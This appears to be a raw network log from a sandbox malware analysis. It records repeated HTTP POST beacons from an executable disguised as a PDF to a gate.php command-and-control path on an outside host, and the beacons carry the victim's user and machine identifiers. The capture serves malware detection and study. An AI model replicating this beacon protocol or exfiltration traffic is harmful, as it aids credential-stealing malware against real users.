Dec 3, 2020 10:02:45.378002882 CET	215	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:45.419547081 CET	216	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:02 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49762	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:45.691221952 CET	217	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:45.710731030 CET	217	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:45.752643108 CET	217	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:02 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49763	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:46.008230925 CET	218	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:46.027164936 CET	218	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:46.068412066 CET	218	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:03 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49764	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:46.321985960 CET	219	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:46.338841915 CET	220	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:46.384202957 CET	220	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:03 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49765	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:46.623970985 CET	221	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:46.645278931 CET	221	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:46.686218977 CET	221	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:03 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49766	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:46.941906929 CET	222	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:46.959496021 CET	222	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:47.002928019 CET	223	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:04 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49767	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:47.207695961 CET	223	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:47.224323034 CET	224	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:47.267354965 CET	224	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:04 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49768	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:47.508867979 CET	225	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:47.525604963 CET	225	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:47.583863974 CET	225	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:04 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49714	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:31.118510962 CET	71	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:31.135189056 CET	71	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:31.264031887 CET	72	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:48 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49769	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:47.814805984 CET	226	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:47.831594944 CET	226	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:47.873610973 CET	227	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:05 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49770	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:48.133006096 CET	227	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:48.149697065 CET	228	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:48.194021940 CET	228	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:05 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49771	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:48.431386948 CET	229	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:48.448147058 CET	229	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:48.492337942 CET	229	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:05 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49772	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:48.713865042 CET	230	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:48.731432915 CET	230	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:48.774087906 CET	231	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49773	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:49.003809929 CET	232	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:49.024502039 CET	232	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:49.067827940 CET	232	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49774	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:49.292978048 CET	233	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:49.310477972 CET	233	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:49.354669094 CET	233	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49775	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:49.591345072 CET	234	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:49.609148979 CET	235	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:49.830852985 CET	235	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49776	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:50.060343981 CET	236	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:50.076945066 CET	236	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:50.125688076 CET	236	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:07 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49777	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:50.360534906 CET	237	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:50.377321005 CET	237	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:50.424429893 CET	238	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:07 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49778	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:50.664604902 CET	238	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:50.681318998 CET	239	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:50.723849058 CET	239	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:07 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49715	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:31.524698019 CET	72	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:31.541438103 CET	73	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:31.584800959 CET	73	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:48 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49779	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:50.972121954 CET	240	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:50.988794088 CET	240	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:51.037888050 CET	240	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:08 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49780	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:51.261332035 CET	241	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
